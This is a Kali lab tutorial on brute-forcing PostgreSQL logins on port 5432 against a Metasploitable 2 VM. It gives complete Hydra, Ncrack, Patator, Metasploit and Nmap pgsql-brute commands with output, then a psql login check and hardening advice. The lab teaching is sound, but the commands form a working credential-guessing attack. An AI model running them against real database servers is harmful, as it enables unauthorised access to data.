| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | hydra 9.7-1ncrack 0.7+debian-6patator 1.1.0-1nmap 7.99+dfsg-1kali1metasploit-framework 6.4.135-0kali1postgresql-client-18 18.4-1 |
| Applies to | Kali Linux |
| Lab environment | Kali + Metasploitable 2 on VirtualBox host-only — pentest lab setup |
| Privilege | Normal user for Hydra, Ncrack, Patator, and Nmap; sudo for package installs |
| Scope | PostgreSQL password guessing with Hydra, Ncrack, Patator pgsql_login, Metasploit auxiliary/scanner/postgres/postgres_login, and Nmap pgsql-brute against Metasploitable 2 PostgreSQL 8.3.1 on port 5432. Covers port confirmation, small wordlists, reading tool output, and psql verification. Does not cover SQL injection, CVE exploits, or post-exploitation data theft. |
| Related guides | Nmap command cheat sheet Metasploit tutorial Learn hacking with Metasploitable 2 |
A PostgreSQL brute force attack automates login guesses against port 5432. After banner grabbing or an Nmap version scan shows PostgreSQL, password spraying is a common next step in an ethical hacking lab when the server allows password authentication.
This guide walks through five brute-force tools on Kali against Metasploitable 2 PostgreSQL. Along the way I explain what each step checks and what a good result looks like. Every command and output below was captured on that layout.
What is PostgreSQL brute force in ethical hacking?
The rest of this guide assumes you want a working database username and password on port 5432. You are not breaking encryption on disk — you are automating login attempts until one pair works or your wordlists run out.
PostgreSQL listens on TCP port 5432 by default and authenticates clients with passwords, certificates, GSSAPI, or other methods configured in pg_hba.conf. In penetration testing, PostgreSQL brute forcing means trying many username and password pairs until the server accepts a connection or you exhaust your lists.
That is distinct from:
- SQL injection in a web application
- Exploiting a PostgreSQL CVE without credentials
- Reading database files from the filesystem without logging in
On Metasploitable 2, weak credentials such as postgres / postgres are intentional. Production clusters should use SCRAM, network segmentation, and monitoring instead. A successful brute force in a report means you documented a valid database login pair — not that every PostgreSQL server is equally easy to crack.
Kali lab setup
Set up the lab once so every tool hits the same target with the same short wordlists. You end up with a TARGET variable, two list files, and twelve username/password pairs — enough to exercise each tool without running full rockyou.txt.
Before you run the examples:
- Kali Linux with the tools below installed
- Metasploitable 2 on the same host-only or internal network as Kali
- A short custom wordlist (this guide builds one instead of running full
rockyou.txtagainst the lab)
Install missing packages:
sudo apt update
sudo apt install -y hydra ncrack patator nmap metasploit-framework postgresql-clientMetasploitable 2 network, target IP, and wordlists
| Item | Attacker (Kali) | Target (Metasploitable 2) |
|---|---|---|
| Hypervisor | Oracle VirtualBox (shared) | Same host |
| Lab network | Host-only / internal 192.168.56.0/24 |
Same subnet |
| Lab IP | 192.168.56.115 on eth1 |
192.168.56.114 (TARGET) |
| PostgreSQL service | Connect to "$TARGET":5432 |
PostgreSQL 8.3.1 on port 5432 |
| Lab login | Brute-force guess | postgres / postgres |
Set the target once, then reuse it in every command:
TARGET=192.168.56.114Build a small reproducible wordlist pair. Metasploitable also exposes msfadmin over SSH; including that name exercises cross-service username reuse without a long wait:
mkdir -p /tmp/pg-brute-lab
printf 'postgres\nmsfadmin\nroot\n' > /tmp/pg-brute-lab/users.txt
printf 'postgres\npassword\nmsfadmin\nroot\n' > /tmp/pg-brute-lab/pass.txtTwelve combinations exercise every tool without a long wait. The tool sections below reuse TARGET, users.txt, and pass.txt — only the brute-force program changes.
Scan port 5432 with Nmap
Brute forcing a closed port wastes time and floods logs. First confirm PostgreSQL is listening on port 5432, then note the server version. That version string helps you record the target in a report and spot legacy builds like Metasploitable 8.3.x.
Check that port 5432 is open before you spend time on login guesses:
nmap -Pn -p 5432 "$TARGET"PORT STATE SERVICE
5432/tcp open postgresqlThe port is open. Run a version scan to record the PostgreSQL build for your notes:
nmap -Pn -p 5432 -sV "$TARGET"PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7Nmap reports PostgreSQL 8.3.x on Metasploitable. Port 5432 is open and the version range is recorded — you can move on to password guessing.
Compare PostgreSQL brute force tools
All five tools below try username/password pairs against PostgreSQL on port 5432. This table shows what each one is best at and how you recognize a hit in its output — use it to choose a tool before you scale up wordlist size.
| Tool | Best for | Typical success signal |
|---|---|---|
| Hydra | Fast parallel guesses when the service string is postgres |
[5432][postgres] login: password: line |
| Ncrack | Password guessing against MD5-auth PostgreSQL targets such as Metasploitable 2 | Discovered credentials on psql://… |
Patator pgsql_login |
Flexible scripting with ignore: filters |
code 0 row with matching user:password and OK |
Metasploit postgres_login |
Framework workflows plus optional DB session | [+] Login Successful: line |
Nmap pgsql-brute |
One-off scripted guess from Nmap | Valid credentials under pgsql-brute |
Start with the port check, then pick Ncrack or Patator for a quick sweep. Use Metasploit when you want the result inside a larger Metasploit workflow. Next we run the same lab lists through each tool so you can compare the output side by side.
Brute force with Hydra
Hydra is the tool many Kali users reach for first. We give it the role postgres, one username (postgres), and every line in pass.txt, and let it try logins in parallel. On Metasploitable PostgreSQL 8.3 you look for a [5432][postgres] line that names the login: and password:.
Hydra supports PostgreSQL with the postgres:// service URL. Test the superuser name against the small password file first:
hydra -l postgres -P /tmp/pg-brute-lab/pass.txt postgres://"${TARGET}" -t 4 -f[DATA] attacking postgres://192.168.56.114:5432/
[5432][postgres] host: 192.168.56.114 misc: (null) login: postgres password: postgres
1 of 1 target successfully completed, 1 valid password foundHydra found postgres / postgres in a few seconds. That [5432][postgres] line with matching login: and password: is what you would paste into a pentest report as a valid database credential.
Unlike Metasploitable SSH, Hydra negotiates with PostgreSQL 8.3 here — you do not get the MAC algorithm errors that block Hydra on OpenSSH 4.7p1 in the SSH brute force lab.
Brute force with Ncrack
Ncrack walks every username in users.txt against every password in pass.txt on "$TARGET":5432. When a pair works, you get a Discovered credentials line with the role name and password.
Ncrack is a standalone Nmap Project tool whose PostgreSQL module supports MD5 authentication, matching the older Metasploitable 2 database. Feed the same wordlist files:
ncrack -v -U /tmp/pg-brute-lab/users.txt -P /tmp/pg-brute-lab/pass.txt "${TARGET}:5432"Discovered credentials on psql://192.168.56.114:5432 'postgres' 'postgres'
psql://192.168.56.114:5432 finished.
Discovered credentials for psql on 192.168.56.114 5432/tcp:
192.168.56.114 5432/tcp psql: 'postgres' 'postgres'
Ncrack done: 1 service scanned in 3.18 seconds.Ncrack found postgres / postgres after twelve probes in about three seconds. That Discovered credentials line is the credential pair to record for the database service.
Guess passwords with Patator pgsql_login
Patator runs the same wordlist sweep as Ncrack but prints one row per attempt, so you can filter routine failures. A successful login shows as code 0 with the matching user:password pair and an OK message; failed tries are code 1 or hidden by ignore:.
Patator prints one row per attempt, which helps when you filter noise with ignore: rules. Run the pgsql_login module against the lab lists:
patator pgsql_login host="${TARGET}" user=FILE0 0=/tmp/pg-brute-lab/users.txt password=FILE1 1=/tmp/pg-brute-lab/pass.txt -x ignore:code=1Patator labels failed logins with code 1 and successful authentication with code 0:
04:14:44 patator INFO - code size time | candidate | num | mesg
04:14:44 patator INFO - 0 2 0.042 | postgres:postgres | 1 | OK
04:14:44 patator INFO - Hits/Done/Skip/Fail/Size: 1/12/0/0/12, Avg: 19 r/s, Time: 0h 0m 0sThe postgres:postgres row with code 0 and OK is the hit — Patator authenticated to PostgreSQL for that pair. The Hits/Done footer confirms all twelve combinations were tried.
Brute force with Metasploit postgres_login
Metasploit tests postgres against each password in pass.txt and stops after the first hit. You look for a [+] Login Successful: line naming the role, password, and default database — here template1.
Metasploit’s postgres_login auxiliary module tests one username against every line in PASS_FILE. Set STOP_ON_SUCCESS true so the run ends after the first valid password.
msfconsole -q -x "use auxiliary/scanner/postgres/postgres_login; set RHOSTS ${TARGET}; set USERNAME postgres; set PASS_FILE /tmp/pg-brute-lab/pass.txt; set STOP_ON_SUCCESS true; set THREADS 4; run; exit -y"[!] 192.168.56.114:5432 - No active DB -- Credential data will not be saved!
[+] 192.168.56.114:5432 - 192.168.56.114:5432 - Login Successful: postgres:postgres@template1
[*] 192.168.56.114:5432 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.114:5432 - Bruteforce completed, 1 credential was successful.The [+] line confirms the password against database template1. The No active DB warning is normal when you run the scanner without msfdb — credentials still appear in the console output.
To sweep several roles, set USER_FILE to /tmp/pg-brute-lab/users.txt instead of USERNAME, or run the module once per name from your list.
Brute force with Nmap pgsql-brute
If you already run Nmap for recon, the pgsql-brute script can try logins from userdb and passdb in the same scan. Hits appear as username:password => Valid credentials under the script output.
The pgsql-brute NSE script tries pairs from userdb and passdb. It is useful when you already have an Nmap scan running and want scripted guesses in the same pass.
nmap -Pn -p 5432 --script pgsql-brute \
--script-args userdb=/tmp/pg-brute-lab/users.txt,passdb=/tmp/pg-brute-lab/pass.txt \
"$TARGET"| pgsql-brute:
|_ postgres:postgres => Valid credentialsNmap reported postgres:postgres as valid — the same credential Hydra, Ncrack, and Patator found, embedded in the Nmap report under pgsql-brute.
Verify access with psql
The tools above confirm that a password works over the PostgreSQL wire protocol; they do not always leave you in an interactive SQL prompt. Logging in with psql proves you can run queries with the guessed pair.
Export the password for a non-interactive lab check, then connect to the default template1 database:
PGPASSWORD=postgres psql -h "$TARGET" -U postgres -d template1 -c 'SELECT version();'version
-----------------------------------------------------------------------------------------------
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1 row)The version string matches the Nmap 8.3.x range and confirms interactive SQL access — stronger evidence than a brute-force log line alone. Use PGPASSWORD only in an isolated lab; on production systems prefer .pgpass or interactive prompts.
On production systems, restrict listen_addresses, enforce SCRAM in pg_hba.conf, and monitor failed authentication attempts. That cuts guessable passwords and makes it harder for an attacker to repeat this lab workflow against your listener.
Troubleshooting
When every password fails, connections time out, or Metasploit reports no success, check the table below.
| Symptom | Likely cause | Fix |
|---|---|---|
| Connection refused on port 5432 | PostgreSQL down or filtered | nmap -Pn -p 5432 "$TARGET"; boot Metasploitable and confirm the VM IP |
| All tools fail every password | Wrong IP or wordlist | Re-read TARGET; add postgres to your custom lists |
Hydra unknown service or wrong module |
Incorrect service URL | Use postgres://"${TARGET}" not ssh:// |
| Patator shows only failures | Pair not in wordlists or wrong ignore: rule |
Confirm users.txt and pass.txt paths; remove ignore:code=1 to see every attempt |
Metasploit No active DB only |
Normal without msfdb |
Read [+] Login Successful: in the console; start msfdb if you want stored creds |
Metasploit hangs on large PASS_FILE |
Full rockyou-scale list | Use the small /tmp/pg-brute-lab files first |
Nmap pgsql-brute finds nothing |
Wrong script args or SSL mismatch on an old server | Verify userdb and passdb paths and rerun with -d for script diagnostics; on an older non-SSL lab server, test with pgsql.nossl=true |
psql fails after a confirmed guess |
Wrong database name or auth method | Try -d template1; check pg_hba.conf on the target |
References
- Hydra (THC)
- Ncrack
- Patator
- Nmap
pgsql-brutescript - Metasploit
postgres_loginmodule (Rapid7) - PostgreSQL documentation
- Metasploitable 2 documentation (Rapid7)
Summary
PostgreSQL brute forcing automates password guesses against port 5432 after you confirm the service with Nmap. In this lab you checked PostgreSQL 8.3.x on Metasploitable, built a twelve-pair wordlist, and tested Hydra, Ncrack, Patator pgsql_login, Metasploit postgres_login, and Nmap pgsql-brute.
Every tool recovered postgres / postgres from the same lists. Hydra works against Metasploitable PostgreSQL where it fails on legacy SSH in the same image — a useful reminder that handshake compatibility varies by service, not only by tool. A follow-up psql query against template1 confirmed PostgreSQL 8.3.1 and gave you query-level proof beyond the brute-force log lines.
Treat every discovered pair as a critical finding on systems you are permitted to test. Restrict database listeners, enforce strong authentication, and monitor failed logins on production PostgreSQL clusters.

